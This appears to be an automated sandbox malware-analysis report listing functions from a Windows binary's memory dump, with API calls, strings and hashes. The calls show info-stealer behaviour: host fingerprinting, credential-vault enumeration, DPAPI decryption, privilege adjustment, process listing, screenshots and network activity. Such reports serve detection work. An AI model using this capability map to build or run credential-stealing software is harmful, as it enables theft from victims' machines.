FindFirstFileW.KERNEL32 ref: 00000001400B68BE
GetLastError.KERNEL32 ref: 00000001400B68CA
FindClose.KERNEL32 ref: 00000001400B68D8
__std_fs_open_handle.LIBCPMT ref: 00000001400B696B
CloseHandle.KERNEL32 ref: 00000001400B6981
CloseHandle.KERNEL32 ref: 00000001400B6AF4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: d85f8055f170a3e42cc2abc3b6e60dcf62aaf909d48f3642368a07fec51f6fb2
Instruction ID: f30b710bc0a933ac4d5384297774a0afb11e9a7f35cb4894955e283119ac2b15
Opcode Fuzzy Hash: d85f8055f170a3e42cc2abc3b6e60dcf62aaf909d48f3642368a07fec51f6fb2
Instruction Fuzzy Hash: 9A915F32700E4146EA768FA7A8147AA27A4EB8D7F4F184725BBBA477F4DB3CC4458701

Function 000000014007F210 Relevance: 26.6, APIs: 4, Strings: 10, Instructions: 2133timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 000000014007F540

Strings

computer_name, xrefs: 0000000140080504
time, xrefs: 0000000140080BF1
system, xrefs: 000000014007FF94, 0000000140080083, 0000000140080179, 0000000140080273, 00000001400803BB, 00000001400804B5, 00000001400805A8, 000000014008072F, 0000000140080920, 0000000140080BA1, 0000000140080D64, 0000000140080F7E, 000000014008111D, 00000001400812C7, 000000014008138D
ram, xrefs: 000000014008040B
cpu, xrefs: 00000001400801C8
[UTC, xrefs: 000000014007F513
%d-%m-%Y, %H:%M:%S, xrefs: 0000000140080B0F
timezone, xrefs: 0000000140080FC4
gpu, xrefs: 00000001400800D2
user_name, xrefs: 000000014007FFDF

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: InformationTimeZone
String ID: %d-%m-%Y, %H:%M:%S$[UTC$computer_name$cpu$gpu$ram$system$time$timezone$user_name
API String ID: 565725191-1610854563
Opcode ID: 2a396154d70961ebacefb433383516cbc269c613f7d5f702f782ae8d2907b756
Instruction ID: d8a4adb988cae47952a421a4533d33faa55453df35c4720b85b424b72054d796
Opcode Fuzzy Hash: 2a396154d70961ebacefb433383516cbc269c613f7d5f702f782ae8d2907b756
Instruction Fuzzy Hash: 37237C73614BC485EB22CB66E8403DE77A1F799798F405216FB9D17BA9EB78C290C700

Function 000000014007FBA0 Relevance: 22.5, APIs: 3, Strings: 9, Instructions: 1516COMMON

Download Yara Rule

APIs

Part of subcall function 000000014007E7E0: GetCurrentHwProfileW.ADVAPI32 ref: 000000014007E81C

Part of subcall function 000000014007E0B0: EnumDisplayDevicesW.USER32 ref: 000000014007E1C7
Part of subcall function 000000014007E0B0: EnumDisplayDevicesW.USER32 ref: 000000014007E26B

Part of subcall function 000000014007DFD0: RegGetValueA.ADVAPI32 ref: 000000014007E039

Part of subcall function 000000014007DCC0: GetUserNameW.ADVAPI32 ref: 000000014007DD05

Part of subcall function 000000014007DD60: GetComputerNameW.KERNEL32 ref: 000000014007DDA5

GlobalMemoryStatusEx.KERNEL32 ref: 000000014008032C
wcsftime.LIBCMT ref: 0000000140080B22
GetModuleFileNameA.KERNEL32 ref: 0000000140080CB6

Strings

computer_name, xrefs: 0000000140080504
time, xrefs: 0000000140080BF1
system, xrefs: 000000014007FF94, 0000000140080083, 0000000140080179, 0000000140080273, 00000001400803BB, 00000001400804B5, 00000001400805A8, 000000014008072F, 0000000140080920, 0000000140080BA1, 0000000140080D64, 0000000140080F7E, 000000014008111D, 00000001400812C7, 000000014008138D
ram, xrefs: 000000014008040B
cpu, xrefs: 00000001400801C8
%d-%m-%Y, %H:%M:%S, xrefs: 0000000140080B0F
timezone, xrefs: 0000000140080FC4
gpu, xrefs: 00000001400800D2
user_name, xrefs: 000000014007FFDF

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Name$DevicesDisplayEnum$ComputerCurrentFileGlobalMemoryModuleProfileStatusUserValuewcsftime
String ID: %d-%m-%Y, %H:%M:%S$computer_name$cpu$gpu$ram$system$time$timezone$user_name
API String ID: 2509368203-1182675529
Opcode ID: f1c3c4bfead42a8257c534bccce91a78e29913d9e60407d4fe6e7d1d3e31ff23
Instruction ID: 49d42806534426b2957efd760b35444bd4990644153d0c1b518906e600f5a260
Opcode Fuzzy Hash: f1c3c4bfead42a8257c534bccce91a78e29913d9e60407d4fe6e7d1d3e31ff23
Instruction Fuzzy Hash: DEF26E73614BC485DB22CF66E8903DE77A1F799798F409216EB9D17BA9DB38C290C700

Function 000000014003B740 Relevance: 20.1, APIs: 8, Strings: 3, Instructions: 862
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014003B82C
GetProcAddress.KERNEL32 ref: 000000014003B937
GetProcAddress.KERNEL32 ref: 000000014003B9F9
GetProcAddress.KERNEL32 ref: 000000014003BA73
GetProcAddress.KERNEL32 ref: 000000014003BAF5
GetProcAddress.KERNEL32 ref: 000000014003BB6F
GetProcAddress.KERNEL32 ref: 000000014003BBF3
FreeLibrary.KERNEL32 ref: 000000014003C721

Strings

system, xrefs: 000000014003C52D
cannot use push_back() with , xrefs: 000000014003C76F
vault, xrefs: 000000014003C583

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: cannot use push_back() with $system$vault
API String ID: 2449869053-1741236777
Opcode ID: aa3f808b0f24446624638c55205967d8be1f843a4a02e4d5147be2dd77941b23
Instruction ID: e238341b761cbd504de5d878f5a533d9cd629839bec99a3b7c40a5bfdf261a8f
Opcode Fuzzy Hash: aa3f808b0f24446624638c55205967d8be1f843a4a02e4d5147be2dd77941b23
Instruction Fuzzy Hash: 74925E32215BC489DB62CF66E8843DE73A0F749798F504216EB9C5BBA9EF74C694C700

Function 000000014007CDF0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 379
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 000000014007D017

Part of subcall function 00000001400A9B70: AcquireSRWLockExclusive.KERNEL32 ref: 00000001400A9B80

InternetOpenUrlA.WININET ref: 000000014007D088
HttpQueryInfoW.WININET ref: 000000014007D0E0
HttpQueryInfoW.WININET ref: 000000014007D170
InternetQueryDataAvailable.WININET ref: 000000014007D1B4
InternetReadFile.WININET ref: 000000014007D279
InternetQueryDataAvailable.WININET ref: 000000014007D344
InternetCloseHandle.WININET ref: 000000014007D3EE
Concurrency::cancel_current_task.LIBCPMT ref: 000000014007D42F

Strings

0Q>%&&, xrefs: 000000014007CECF

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Internet$Query$AvailableDataHttpInfoOpen$AcquireCloseConcurrency::cancel_current_taskExclusiveFileHandleLockRead
String ID: 0Q>%&&
API String ID: 3609429561-3488671784
Opcode ID: c832a8cbff260ebf00a3a13f1060112a243f1cf00fd7f069c8439f080d0d1cdf
Instruction ID: 545cd8f60b377f538693443bd994a67682f78e99984eccf18132968f8f5fa667
Opcode Fuzzy Hash: c832a8cbff260ebf00a3a13f1060112a243f1cf00fd7f069c8439f080d0d1cdf
Instruction Fuzzy Hash: 56024B32A14B9486EB11CB6AE84039E77B5F799B94F104216FF8C57BA9DF78C191CB00

Function 00000001400740C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400773A0: GetCurrentProcess.KERNEL32 ref: 00000001400773DB
Part of subcall function 00000001400773A0: OpenProcessToken.ADVAPI32 ref: 00000001400773EE
Part of subcall function 00000001400773A0: GetTokenInformation.ADVAPI32 ref: 000000014007742A
Part of subcall function 00000001400773A0: CloseHandle.KERNEL32 ref: 000000014007744B

ExitProcess.KERNEL32 ref: 0000000140074107
OpenMutexA.KERNEL32 ref: 0000000140074222
ExitProcess.KERNEL32 ref: 0000000140074232
CreateMutexA.KERNEL32 ref: 0000000140074251
ExitProcess.KERNEL32 ref: 0000000140074277

Part of subcall function 00000001400776E0: GetModuleFileNameW.KERNEL32 ref: 000000014007772A

Part of subcall function 0000000140082380: CoInitializeEx.OLE32 ref: 00000001400823EA

Strings

SeImpersonatePrivilege, xrefs: 000000014007411A
SeDebugPrivilege, xrefs: 000000014007410E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Process$Exit$MutexOpenToken$CloseCreateCurrentFileHandleInformationInitializeModuleName
String ID: SeDebugPrivilege$SeImpersonatePrivilege
API String ID: 4279366119-3768118664
Opcode ID: 7757c749a4fd796c77952d67731f7d9eb830d0c1d3216d672a457d436a530641
Instruction ID: 0dce43155375b8d528c185d9e4ebfb7a595039168db3da0343ae86ac4b3ee73c
Opcode Fuzzy Hash: 7757c749a4fd796c77952d67731f7d9eb830d0c1d3216d672a457d436a530641
Instruction Fuzzy Hash: 02617D32618A8481FB22AB66B4553EEA350FB8D7D0F405215FB8D47AFBDF3CC1458610

Function 000000014009DFA0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 335
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 000000014009DFE5

Part of subcall function 000000014009D650: _invalid_parameter_noinfo.LIBCMT ref: 000000014009D664

Part of subcall function 0000000140098C40: HeapFree.KERNEL32 ref: 0000000140098C56
Part of subcall function 0000000140098C40: GetLastError.KERNEL32 ref: 0000000140098C60

Part of subcall function 00000001400A69C0: _invalid_parameter_noinfo.LIBCMT ref: 00000001400A690B

_get_daylight.LIBCMT ref: 000000014009DFD4

Part of subcall function 000000014009D6B0: _invalid_parameter_noinfo.LIBCMT ref: 000000014009D6C4

_get_daylight.LIBCMT ref: 000000014009E24A
_get_daylight.LIBCMT ref: 000000014009E25B
_get_daylight.LIBCMT ref: 000000014009E26C
GetTimeZoneInformation.KERNEL32 ref: 000000014009E293

Strings

Eastern Standard Time, xrefs: 000000014009E339
Eastern Summer Time, xrefs: 000000014009E351

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 355007559-239921721
Opcode ID: 64857797be4b4bc743e53f8277ad21999e71f22f2571a5a646b81b6a6c0c373e
Instruction ID: 57a15796427d9fcb09a0dbe4420b896af4f059e924f9dcb49e1fee42cb9384cd
Opcode Fuzzy Hash: 64857797be4b4bc743e53f8277ad21999e71f22f2571a5a646b81b6a6c0c373e
Instruction Fuzzy Hash: 6AD1A13660069086EB26EF27D9913EA77A1F79CBD4F448126FF49477A5EB38C881C740

Function 0000000140076BA0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 451
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32 ref: 0000000140076DE1
SetFilePointer.KERNEL32 ref: 0000000140076E94
ReadFile.KERNEL32 ref: 0000000140076EC3

Strings

ios_base::badbit set, xrefs: 00000001400772F1, 000000014007736F
ios_base::eofbit set, xrefs: 0000000140077304
ios_base::failbit set, xrefs: 00000001400772FD
exists, xrefs: 000000014007734A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: File$PointerReadSize
String ID: exists$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 404940565-15404121
Opcode ID: 5f18d8dcb5a1bd9ddf10e4dc21ea93585aabba8ba5120d16c005ca6a42aee1b4
Instruction ID: 40f04f2fdb195ee4abd318aa1af1c765dbd1d036b26c427fa27dbe08016d783e
Opcode Fuzzy Hash: 5f18d8dcb5a1bd9ddf10e4dc21ea93585aabba8ba5120d16c005ca6a42aee1b4
Instruction Fuzzy Hash: 61320732611BC489EB22CF35D8807DD37A1F789B88F548216EB8D5BBA9EB74C645C701

Function 000000014009ACF0 Relevance: 10.8, APIs: 7, Instructions: 286
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014009B122

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a4e148d3019c607eba337c575eb47066f6d9809a4559c3d9a9662e58cd0a8e9b
Instruction ID: a61a03662d1ceb98f773c1fd4dd386c3faedb153c1a554d0ed1fc3a7b0e16e44
Opcode Fuzzy Hash: a4e148d3019c607eba337c575eb47066f6d9809a4559c3d9a9662e58cd0a8e9b
Instruction Fuzzy Hash: 0AC1ED722046889AEB639B63D4503EE77A0F78ABD4F454115FB5A073F2DB78C894C740

Function 000000014009E21C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 000000014009E24A

Part of subcall function 000000014009D6B0: _invalid_parameter_noinfo.LIBCMT ref: 000000014009D6C4

_get_daylight.LIBCMT ref: 000000014009E25B

Part of subcall function 000000014009D650: _invalid_parameter_noinfo.LIBCMT ref: 000000014009D664

_get_daylight.LIBCMT ref: 000000014009E26C

Part of subcall function 000000014009D680: _invalid_parameter_noinfo.LIBCMT ref: 000000014009D694

Part of subcall function 0000000140098C40: HeapFree.KERNEL32 ref: 0000000140098C56
Part of subcall function 0000000140098C40: GetLastError.KERNEL32 ref: 0000000140098C60

GetTimeZoneInformation.KERNEL32 ref: 000000014009E293

Strings

Eastern Standard Time, xrefs: 000000014009E339
Eastern Summer Time, xrefs: 000000014009E351

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: d74fe9053881973c1ea53b30896d127691720d56f467a61c309a8fd480ec90bc
Instruction ID: 54eaaf3237c51ac38e9593f75949bc1a28ba80c68989b2b5926f1269b82db785
Opcode Fuzzy Hash: d74fe9053881973c1ea53b30896d127691720d56f467a61c309a8fd480ec90bc
Instruction Fuzzy Hash: B5514D3261068086E762EF23E9917DA77A0F79CBC4F445126BB4D87BB6DB38C941C740

Function 0000000140094B74 Relevance: 9.2, APIs: 6, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000140094B96
_get_daylight.LIBCMT ref: 0000000140094BF6
_get_daylight.LIBCMT ref: 0000000140094C07
_get_daylight.LIBCMT ref: 0000000140094C18
_isindst.LIBCMT ref: 0000000140094C69
_isindst.LIBCMT ref: 0000000140094CBC

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: d8834ba0fadb21926f441da85af72fbef74f0a0767195e07e6a9005270cfca22
Instruction ID: 2d313a3bef1ff223710c477627217efc1d0ec0aaf43e53581fef1b9ed64fdd2b
Opcode Fuzzy Hash: d8834ba0fadb21926f441da85af72fbef74f0a0767195e07e6a9005270cfca22
Instruction Fuzzy Hash: 1681B2B2B012458BEB598F36C9417E837A5F758BCCF04912AFB098B7A9FB38D5518740

Function 0000000140086680 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 0000000140086834
__std_exception_destroy.LIBVCRUNTIME ref: 0000000140086842
__std_exception_destroy.LIBVCRUNTIME ref: 0000000140086AC5
__std_exception_destroy.LIBVCRUNTIME ref: 0000000140086AD3

Strings

value, xrefs: 000000014008675A, 00000001400869F3

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: __std_exception_destroy
String ID: value
API String ID: 2453523683-494360628
Opcode ID: 1185c697c7acf11a29783327cc7e8c88e0a9b9ac43483def82306f68b660f44c
Instruction ID: b99257adfc3fe72b1b6041d942e319ffdfc58320064849e92109cd12b73f12f2
Opcode Fuzzy Hash: 1185c697c7acf11a29783327cc7e8c88e0a9b9ac43483def82306f68b660f44c
Instruction Fuzzy Hash: 39027973624B8085EB128B76D4803ED6B61F7997E4F505712FBAE47AEADB38C185C700

Function 000000014003C7E0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 328processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000000014003C82A
Process32FirstW.KERNEL32 ref: 000000014003C86C
Process32NextW.KERNEL32 ref: 000000014003CA63
CloseHandle.KERNEL32 ref: 000000014003CCDA

Strings

[PID: , xrefs: 000000014003C8AE

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: [PID:
API String ID: 420147892-2210602247
Opcode ID: 6286ee64aadae80da39836daaee7e9b6358737ae984041e6d555ff0a703c0369
Instruction ID: b38ff16549ba1f11a6e6968b632c4904c7fd50b9942315672275084aeb0ad256
Opcode Fuzzy Hash: 6286ee64aadae80da39836daaee7e9b6358737ae984041e6d555ff0a703c0369
Instruction Fuzzy Hash: 61E18C72614BC485EB22CB26E8803DE77A5F7897A8F504215FB9D47BA9DF38C291C700

Function 00000001400835B0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000001400835FE
OpenProcessToken.ADVAPI32 ref: 0000000140083611
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140083632
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140083678
CloseHandle.KERNEL32 ref: 0000000140083698

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: 29403cb97127691f287bd394a5f62fb3ebcddb21656a1aa952221290d0b63ec9
Instruction ID: 29b34f3b368a7b7b08dc0a61096efbdd798a7df5e1e9600c8704bf8681a41008
Opcode Fuzzy Hash: 29403cb97127691f287bd394a5f62fb3ebcddb21656a1aa952221290d0b63ec9
Instruction Fuzzy Hash: 92214B32218B8096E7618B22F44439AB7A0FB8CBD0F559126FB8947B68DF7DC5558B40

Function 000000014007C5E0 Relevance: 6.4, APIs: 4, Instructions: 417networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 000000014007C7BC
recv.WS2_32 ref: 000000014007CC9C
closesocket.WS2_32 ref: 000000014007CCAE
WSACleanup.WS2_32 ref: 000000014007CCB4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: recv$Cleanupclosesocket
String ID:
API String ID: 146070474-0
Opcode ID: c25d16e51f3e57633df2236bf5af9adfab18e773cbdcd12452ae31cf569d808a
Instruction ID: eafd79885a64c3900f7ebaffd470ce8fdc6633dcc422e553d72d048b7a611f0d
Opcode Fuzzy Hash: c25d16e51f3e57633df2236bf5af9adfab18e773cbdcd12452ae31cf569d808a
Instruction Fuzzy Hash: 79125D73628BC481EA229B16E4557DE6761F79D7E0F504216EBAD07AEADF7CC480CB00

Function 000000014003ABE0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 671COMMON

Download Yara Rule

APIs

CredEnumerateA.ADVAPI32 ref: 000000014003AC42
CredFree.ADVAPI32 ref: 000000014003B666

Strings

cannot use push_back() with , xrefs: 000000014003B6B4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Cred$EnumerateFree
String ID: cannot use push_back() with
API String ID: 3403564193-4122110429
Opcode ID: 97482064c9ed0dc95fe6aa680e3378f9cc4d569c6b3222b1281823e1a370caa0
Instruction ID: b8981478b51ca5d0890c2abb008d1f65ae76408375637bccaff58bdcf3fe8ba2
Opcode Fuzzy Hash: 97482064c9ed0dc95fe6aa680e3378f9cc4d569c6b3222b1281823e1a370caa0
Instruction Fuzzy Hash: A5627172614BC489EB22CF65E8803DE7761F789798F505316EB9D17BA9DB38C284C700

Function 00000001400743A0 Relevance: 3.4, APIs: 2, Instructions: 391COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 0000000140074403
ShellExecuteW.SHELL32 ref: 0000000140074A4A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExecuteFileModuleNameShell
String ID:
API String ID: 1703432166-0
Opcode ID: 4e98686c3b471d3bd0585f3d4b680c473147792c2d7c18d549f94fb11707b83d
Instruction ID: 2bd182f3932b21625a389bd3f9c8cb9026c7739f8b6ceac0e40a61b3b544c7b5
Opcode Fuzzy Hash: 4e98686c3b471d3bd0585f3d4b680c473147792c2d7c18d549f94fb11707b83d
Instruction Fuzzy Hash: E1122872625F848AEB418F6AE88179EB3A4F788798F505215FFDD57B68EB38C150C700

Function 000000014006FB80 Relevance: 3.1, APIs: 2, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 000000014006FBD8
LocalFree.KERNEL32 ref: 000000014006FC6A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 7c7574550fc39d8b0a33bde6b28a20e688f0cf8f24e77118c322436bf9816072
Instruction ID: 4eca3d6246eddbc7233f6218ad4025bd3c7ad5f366a7b9f67c01a1a686e41648
Opcode Fuzzy Hash: 7c7574550fc39d8b0a33bde6b28a20e688f0cf8f24e77118c322436bf9816072
Instruction Fuzzy Hash: 08414233614B80CAE3218F75E8403ED37A5F76978CF444629AB8C07E9ADB79C6A4D744

Function 000000014007EF60 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32 ref: 000000014007EFD1

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 2ecfcf8ec3355e95828c5702cb0626b7e0f13828b402b7b66e3bb95fa858c4cc
Instruction ID: 7bd9b24b1647809e0778951e81701b119688313c090f26668272845d8869c3c0
Opcode Fuzzy Hash: 2ecfcf8ec3355e95828c5702cb0626b7e0f13828b402b7b66e3bb95fa858c4cc
Instruction Fuzzy Hash: 8A416D33A18B8086E711CF25E8803DEB774F799788F505216EB8823A79DB78D5D1DB40

Function 000000014007DCC0 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 000000014007DD05

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a200866481d5f490145c7cfb544eaa6f59862c73f3fa110e9056edbadfc7f145
Instruction ID: d8acf5b1ef26c196afcc54b854055169309763f983814a9c25a6fac2079a55ec
Opcode Fuzzy Hash: a200866481d5f490145c7cfb544eaa6f59862c73f3fa110e9056edbadfc7f145
Instruction Fuzzy Hash: BB015E3221878086E7628F22E84039AB3A0FB9C788F540216B78D43659DBBCC194CB40

Function 0000000140076770 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 194
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400764F0: InitializeCriticalSectionEx.KERNEL32 ref: 0000000140076541
Part of subcall function 00000001400764F0: GetLastError.KERNEL32 ref: 000000014007654B

EnterCriticalSection.KERNEL32 ref: 00000001400767B1
GdiplusStartup.GDIPLUS ref: 00000001400767D8
LeaveCriticalSection.KERNEL32 ref: 00000001400767E6
LeaveCriticalSection.KERNEL32 ref: 0000000140076814
GdipGetImageEncodersSize.GDIPLUS ref: 0000000140076822
GdipGetImageEncoders.GDIPLUS ref: 00000001400768B6
GdipCreateBitmapFromScan0.GDIPLUS ref: 0000000140076980
GdipSaveImageToStream.GDIPLUS ref: 000000014007699E
GdipDisposeImage.GDIPLUS ref: 0000000140076A03
GdipDisposeImage.GDIPLUS ref: 0000000140076A17

Strings

&, xrefs: 000000014007697A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Gdip$Image$CriticalSection$DisposeEncodersLeave$BitmapCreateEnterErrorFromGdiplusInitializeLastSaveScan0SizeStartupStream
String ID: &
API String ID: 1703174404-3042966939
Opcode ID: ea4cfa494391b84614adf15e569615d49e1d486304e7799aebd586ce4898f67b
Instruction ID: 4638b9f1ed191ead81af55374984443a6253b3e001763369ab5e9b0db0011ef1
Opcode Fuzzy Hash: ea4cfa494391b84614adf15e569615d49e1d486304e7799aebd586ce4898f67b
Instruction Fuzzy Hash: 84914932200B809AEB62DF32E8407D837A4F75DBD8F558215EB5A57BA4DF38C596C740

Function 0000000140077820 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 224
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014007D440: GetUserGeoID.KERNEL32 ref: 000000014007D467
Part of subcall function 000000014007D440: GetGeoInfoA.KERNEL32 ref: 000000014007D481
Part of subcall function 000000014007D440: GetGeoInfoA.KERNEL32 ref: 000000014007D4D1

WSAStartup.WS2_32 ref: 0000000140077999
socket.WS2_32 ref: 00000001400779B6
htons.WS2_32 ref: 00000001400779D7
